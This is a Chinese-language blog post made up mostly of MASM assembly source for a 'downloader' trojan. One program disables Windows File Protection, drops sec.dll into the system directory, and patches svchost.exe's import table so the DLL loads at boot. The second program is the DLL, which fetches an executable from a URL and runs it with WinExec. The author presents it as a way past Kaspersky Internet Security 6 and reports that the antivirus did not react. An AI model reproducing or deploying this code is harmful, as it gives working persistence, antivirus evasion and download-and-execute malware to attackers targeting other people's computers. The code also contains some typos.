现在的位置: 首页 > 综合 > 正文

修改引入表打造穿透KIS6的下载者

2013年04月30日 ⁄ 综合 ⁄ 共 13496字 ⁄ 字号 评论关闭

 每个引入的DLL都会用一个IMAGE_IMPORT_DESCRIPTOR表示,该结构定义如下:
IMAGE_IMPORT_DESCRIPTOR STRUCT
  union
   Characteristics dd ?
   OriginalFirstThunk dd ?
  ends
  TimeDateStamp dd ?
  ForwarderChain dd ?
  Name1 dd ?
  FirstThunk dd ?
IMAGE_IMPORT_DESCRIPTOR ENDS
对照着图应该很容易明白,修改后的引入表如图2:

这样,系统重启后svchost就会默认加载我们的sec.dll,于是强大的卡巴就倒在了脚下。
   其实,像“黑客之门”一样修改引入表实现自启动非常简单,方法有两种,一种是利用微软提供的Detour库实现,另外一种就是自己实现,我比较推荐第一种,但是抱着学习的目的我们还是得练练手,代码我已经用纯ASM实现了一个简单的下载者,仅供各位参考,概括的说一下实现过程:
1.定位目标原引入表,将其读出
2.增加一个新节
3.将被我们修改过的引入表写入新节
4.将目标的引入表地址指向新节
这有个问题需要澄清一下,增加一个新节会使目标的文件大小改变,要文件大小不变也可以,只要找到足够大的空隙,然后写入新引入表即可,我下面的代码以XP下的svchost作为例子,所以无法插入空隙,修改使文件大小不改变的就留给各位读者当个作业吧。

.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;include
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include    windows.inc
include    kernel32.inc
includelib kernel32.lib
include    advapi32.inc
includelib  advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
dwWriten  dd 0
zero      dd 0
dllname    db 'sec.dll',0
funpara    db 0,0,'SecConfig',0
PE_Header        IMAGE_NT_HEADERS    <0>
My_Section       IMAGE_SECTION_HEADER    <>
My_Dll       MAGE_IMPORT_DESCRIPTOR <>
My_DllName     IMAGE_IMPORT_BY_NAME   <>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
Head_Len         equ    sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER
;宏
CTEXT    MACRO y:VARARG
   LOCAL sym
   CONST segment
   ifidni <y>,<>
       sym db 0       
   else           
       sym db y,0
   endif
   CONST ends
   exitm <offset sym>
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
include    disablewfp.asm
start:
.code
 call _Sfcoff    ;关闭文件保护
   call CreateDll
   call SetFile
   call Modimport ;改写PE文件引入表
exit:
     invoke ExitProcess,NULL

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;对目标文件进行更名
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SetFile proc
   local destpath[255]:BYTE
   local tmppath[255]:BYTE
 invoke RtlZeroMemory,addr destpath,255
 invoke RtlZeroMemory,addr tmppath,255
 invoke GetSystemDirectory,addr destpath,255
 invoke GetSystemDirectory,addr tmppath,255
 invoke lstrcat,addr destpath,CTEXT("/svchost.exe")
 invoke lstrcat,addr tmppath,CTEXT("/suchost.exe")
 
 invoke MoveFile,addr destpath,addr tmppath
 invoke CopyFile,addr tmppath,addr destpath,FALSE
 ret
SetFile endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;RVA转换成磁盘文件中的偏移
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
RVAToOffset PROC uses edi esi edx ecx pFileMap:DWORD,RVA:DWORD
  mov esi,pFileMap
  assume esi:ptr IMAGE_DOS_HEADER
  add esi,[esi].e_lfanew
  assume esi:ptr IMAGE_NT_HEADERS
  mov edi,RVA ; edi == RVA
  mov edx,esi
  add edx,sizeof IMAGE_NT_HEADERS
  mov cx,[esi].FileHeader.NumberOfSections
  movzx ecx,cx
  assume edx:ptr IMAGE_SECTION_HEADER
  .while ecx>0 ; check all sections
    .if edi>=[edx].VirtualAddress
      mov eax,[edx].VirtualAddress
      add eax,[edx].SizeOfRawData
      .if edi<eax ; The address is in this section
        mov eax,[edx].VirtualAddress
        sub edi,eax
        mov eax,[edx].PointerToRawData
        add eax,edi ; eax == file offset
        ret
      .endif
    .endif
    add edx,sizeof IMAGE_SECTION_HEADER
    dec ecx
  .endw
  assume edx:nothing
  assume esi:nothing
  mov eax,edi
  ret
RVAToOffset endp

Modimport proc
   local szpath[255]:BYTE
   LOCAL hFile: HANDLE
     LOCAL dwPE_Header_OffSet: DWORD
     LOCAL dwFileReadWritten: DWORD
     LOCAL dwMySectionOffSet: DWORD
     LOCAL dwLastSection_SizeOfRawData: DWORD
     LOCAL dwLastSection_PointerToRawData: DWORD
     LOCAL hMapping: DWORD
   LOCAL pMapping: DWORD
   LOCAL oImport[520]:BYTE
   LOCAL oImportlen
   LOCAL Chrarctics
   LOCAL dllnamelen:DWORD
   LOCAL funparalen:DWORD
   LOCAL irva:DWORD

   invoke RtlZeroMemory,addr oImport,520
   invoke RtlZeroMemory,addr szpath,255
 nvoke lstrcat,addr szpath,CTEXT("test.exe")

   ;打开文件:
   invoke CreateFile, addr szpath, GENERIC_READ or GENERIC_WRITE,/
           FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
   .if eax == INVALID_HANDLE_VALUE
       jmp Err_CreateFile_Exit
   .endif
   mov hFile, eax
  
   ;创建内存映射文件
   invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
   .if eax!=NULL
     mov hMapping, eax
   .endif
   invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
   .if eax!=NULL
     mov pMapping,eax
   .endif

   ;****************************************
   ;读取PE文件头
   ;****************************************
   invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGIN
   invoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULL
   invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
   invoke ReadFile, hFile, addr PE_Header, Head_Len, addr dwFileReadWritten, NULL
  
   ;****************************************
 ;PE文件有效性检查
   ;****************************************
   .if [PE_Header.Signature] != IMAGE_NT_SIGNATURE
       jmp Exit
   .endif
      
   ;****************************************
   ;判断是否有足够空间存储新节:
   ;****************************************
   movzx eax, [PE_Header.FileHeader.NumberOfSections]    ;得到添加新节前有多少个节:
   mov ecx, 28h    ;28h = sizeof IMAGE_SECTION_HEADER
   mul ecx         ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
   add eax, dwPE_Header_OffSet    ;eax = eax + PE文件头偏移
   add eax, 18h    ;18h = sizeof IMAGE_FILE_HEADER
   movzx ecx, [PE_Header.FileHeader.SizeOfOptionalHeader]
   add eax, ecx    ;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
   add eax, 28h    ;添加一个新节的大小
   .if eax > [PE_Header.OptionalHeader.SizeOfHeaders]
       jmp Exit
   .endif

   ;**************************************************
   ;计算新节的偏移地址:
   ;**************************************************
   movzx eax, [PE_Header.FileHeader.NumberOfSections]
   mov ecx, 28h
   mul ecx            ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
   add eax, 4h        ;4h = sizeof "PE/0/0"
   add eax, dwPE_Header_OffSet
   add eax, sizeof IMAGE_FILE_HEADER
   add eax, sizeof IMAGE_OPTIONAL_HEADER
   mov dwMySectionOffSet, eax    ;现在得到了我们的新节的偏移地址
   push [PE_Header.OptionalHeader.SizeOfImage]
   pop [My_Section.VirtualAddress]
  
  
   ;****************************************
   ;重构引入表,在文件的最后写入我们的新节:
   ;****************************************
   ;读取原始引入表数据,读取正确的不带0的引入表
   mov edi,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress]
   invoke RVAToOffset,pMapping,edi
   mov edi,eax
   invoke SetFilePointer, hFile, edi, 0, FILE_BEGIN
   ;不读空的结束符
   mov oImportlen,0
   lea edi,oImport
calclen:
   invoke ReadFile, hFile, edi , 4, addr dwFileReadWritten, NULL
   mov ebx,[edi]
   test ebx,ebx
   jz calcover
   add edi,4
   add oImportlen,4
   jmp calclen
calcover:

   ;写入dll名称,定位到最后一节的raw offset处
   mov eax, dwMySectionOffSet
   sub eax, 18h
   invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
   invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
   invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL   
   mov ebx, dwLastSection_SizeOfRawData
   add ebx, dwLastSection_PointerToRawData
   invoke SetFilePointer, hFile, ebx, 0, FILE_BEGIN
   push 0
   lea eax, dwFileReadWritten
   push eax
   mov eax,sizeof dllname
   mov dllnamelen,eax
   push eax ;[My_Section.SizeOfRawData]
   lea eax, dllname
   push eax
   push hFile
   call WriteFile
  
   ;写入IMAGE_THUNK_DATA
   push 0
   lea eax, dwFileReadWritten
   push eax   
   mov eax,sizeof funpara
   ;add eax,sizeof funpara
   mov funparalen,eax
   push eax
   lea eax, funpara
   push eax
   push hFile
   call WriteFile
  
   ;写入IMAGE_THUNK_DATA的RVA
   mov eax,[My_Section.VirtualAddress]
   add eax,dllnamelen
   mov irva,eax
   invoke WriteFile, hFile, addr irva, 4, addr dwFileReadWritten, NULL
   ;写入一个空IMAGE_THUNK_DATA的RVA作为结尾
   invoke WriteFile, hFile, addr zero, 4, addr dwFileReadWritten, NULL
  
   ;写入原引入表数据
   mov ecx,oImportlen
   invoke WriteFile, hFile, addr oImport, ecx, addr dwFileReadWritten, NULL   
  
   ;构造新引入的DLL的IMAGE_IMPORT_DESCRIPTOR
   mov eax,[My_Section.VirtualAddress]
   add eax,dllnamelen
   add eax,funparalen
   mov [My_Dll.OriginalFirstThunk],eax
   mov [My_Dll.TimeDateStamp],0FFFFFFFFh
   mov [My_Dll.ForwarderChain],0FFFFFFFFh
   mov ebx,[My_Section.VirtualAddress]
   mov [My_Dll.Name1],ebx
   mov [My_Dll.FirstThunk],eax
  
   ;写入新引入的DLL的IMAGE_IMPORT_DESCRIPTOR
   invoke WriteFile, hFile, addr My_Dll, 20, addr dwFileReadWritten, NULL
  
   ;写入以0结尾的空IMAGE_IMPORT_DESCRIPTOR
   push 20
   pop ecx
fillzero:
   push ecx
   invoke WriteFile, hFile, addr zero, 1, addr dwFileReadWritten, NULL
   pop ecx
   dec ecx
   test ecx,ecx
   jnz fillzero

   ;****************************************
   ;填充我们自己的节的信息:
   ;****************************************
   mov dword ptr [My_Section.Name1], "ler."
   mov dword ptr [My_Section.Name1]+4, "co"
   mov [My_Section.Misc.VirtualSize], 1000h
   push [PE_Header.OptionalHeader.SizeOfImage]
   pop [My_Section.VirtualAddress]
   mov eax, [My_Section.Misc.VirtualSize]
   mov eax,dllnamelen
   add eax,funparalen
   add eax,28
   add eax,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].isize]
   mov [My_Section.SizeOfRawData], eax  ;SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值
   mov eax, dwMySectionOffSet
   sub eax, 18h    ;这个偏移是定位到最后一节的“SizeOfRawData”
   invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
   invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
   invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL
   ;每个节的 PointerToRawData 等于它的上一节的 SizeOfRawData + PointerToRawData:
   mov eax, dwLastSection_SizeOfRawData
   add eax, dwLastSection_PointerToRawData
   mov [My_Section.PointerToRawData], eax
   mov [My_Section.PointerToRelocations], 0h
   mov [My_Section.PointerToLinenumbers], 0h
   mov [My_Section.NumberOfRelocations], 0h
   mov [My_Section.NumberOfLinenumbers], 0h
   mov [My_Section.Characteristics], 0C0000040h    ;可读可写

   ;**************************************************
   ;重新写入IMAGE_SECTION_HEADER:(包含了新节的信息)
   ;**************************************************
   invoke SetFilePointer, hFile, dwMySectionOffSet, 0, FILE_BEGIN
   invoke WriteFile, hFile, addr My_Section, sizeof IMAGE_SECTION_HEADER, addr dwFileReadWritten, NULL

   ;**************************************************
   ;改写IMAGE_NT_HEADERS
   ;(需要改写 SizeOfImage)
   ;**************************************************
   inc [PE_Header.FileHeader.NumberOfSections]
   mov eax, [My_Section.VirtualAddress]
   add eax, dllnamelen
   add eax, funparalen
   add eax, 8
   mov [PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress],eax
   mov eax, [My_Section.Misc.VirtualSize]
   mov ecx, [PE_Header.OptionalHeader.SectionAlignment]
   cdq
   div ecx
   inc eax
   mul ecx
   add eax, [PE_Header.OptionalHeader.SizeOfImage]
   mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].VirtualAddress], 0
   mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].isize], 0
   mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].VirtualAddress], 0
   mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].isize], 0
   sub eax,1000h
   mov [PE_Header.OptionalHeader.SizeOfImage], eax    ;SizeOfImage是一个对齐到SectionAlignment的整数倍的值
   invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
   invoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL
  
   ;改写.text属性为E00000020h,默认.text为第一个节
   mov eax, dwPE_Header_OffSet
   add eax, sizeof IMAGE_FILE_HEADER
   add eax, sizeof IMAGE_OPTIONAL_HEADER
   add eax,40;定位到Characteristics 0E0000020h
   invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
   push NULL
   lea eax, dwFileReadWritten
   push eax
   push 4
   mov Chrarctics,0E0000020h
   lea eax,Chrarctics
   push eax
   push hFile
   call WriteFile
  
Exit:
   ;关闭文件:
   invoke UnmapViewOfFile, pMapping
   invoke CloseHandle,hMapping
   invoke CloseHandle, hFile   
Err_CreateFile_Exit:
   ret
Modimport endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;释放DLL至系统目录
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CreateDll proc
 local hResInfo:HRSRC
 local hResData:HGLOBAL
 local dwSize:DWORD
 local dwWritten:DWORD
 local hFile:HANDLE
 local hRec:HANDLE
 local dllpath[255]:BYTE
   invoke RtlZeroMemory,addr dllpath,255
   invoke GetSystemDirectory,addr dllpath,255
   invoke lstrcat,addr dllpath,CTEXT("/sec.dll")
   invoke FindResource,0,1001,CTEXT("DLL")
   mov hResInfo,eax
   invoke SizeofResource,0,hResInfo
   mov dwSize,eax
   invoke LoadResource,0,hResInfo
   mov hResData,eax
   invoke CreateFile,addr dllpath,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL
   mov hFile,eax
   invoke LockResource,hResData
   mov hRec,eax
   invoke WriteFile,hFile,hRec,dwSize,addr dwWritten,0
   invoke CloseHandle,hFile
   ret
CreateDll endp

end start
DLL实现下载并执行的功能,代码如下:
.386 
.model  flat,  stdcall 
option  casemap  :none      ;  case  sensitive 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
include  windows.inc
include  kernel32.inc
includelib kernel32.lib

down proto
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
return  MACRO  arg 
     mov  eax,  arg 
     ret 
ENDM

;宏
CTEXT    MACRO y:VARARG
   LOCAL sym
   CONST segment
   ifidni <y>,<>
       sym db 0       
   else           
       sym db y,0
   endif
   CONST ends
   exitm <offset sym>
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
szURL  db 'http://127.0.0.1/gyzy.exe',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
szPath db 'c:/a.exe',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
LibMain  proc  hInstDLL:DWORD,  reason:DWORD,  unused:DWORD 
       .if  reason  ==  DLL_PROCESS_ATTACH 
           invoke CreateThread,0,0,offset down,0,0,0
           return TRUE
              .elseif  reason  ==  DLL_PROCESS_DETACH
              .elseif  reason  ==  DLL_THREAD_ATTACH
              .elseif  reason  ==  DLL_THREAD_DETACH
              .endif
              ret
LibMain  Endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;下载者功能执行模块
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
down proc
     local downfunc:DWORD
  
     call loadlib
     lib db 'urlmon',0
loadlib:
     call LoadLibraryA
     call getfuncaddr
     func db 'URLDownloadToFileA',0
getfuncaddr:
     push eax
     call GetProcAddress
     mov  downfunc,eax

again:
     push 5000
     call Sleep
    
     push NULL
     push NULL
     push offset szPath
     push offset szURL
     push NULL
     call downfunc
    
     test eax,eax
     jnz again

     call exec
tExit:
     ret
down endp

exec proc
     invoke WinExec,offset szPath,1
     ret
exec endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;为引入表导出的函数
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SecConfig  proc
     xor eax,eax
     ret
SecConfig  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
End  LibMain

 

其中我们的DLL必须导出一个函数,否则svchost会报找不到指定的要加载的DLL,测试的时候需要先停止windows系统文件保护,然后替换svchost.exe,重启后就会发现我们的小马已经成功下载东西,但是还有一些瑕疵有待改善,XP下默认有多个svchost,所以我们的DLL中的线程也运行了多次。卡巴大叔一点反应都没有(除程序完整性检测外其余均打开的情况下,默认的高级模式)如图3:

图3

抱歉!评论已关闭.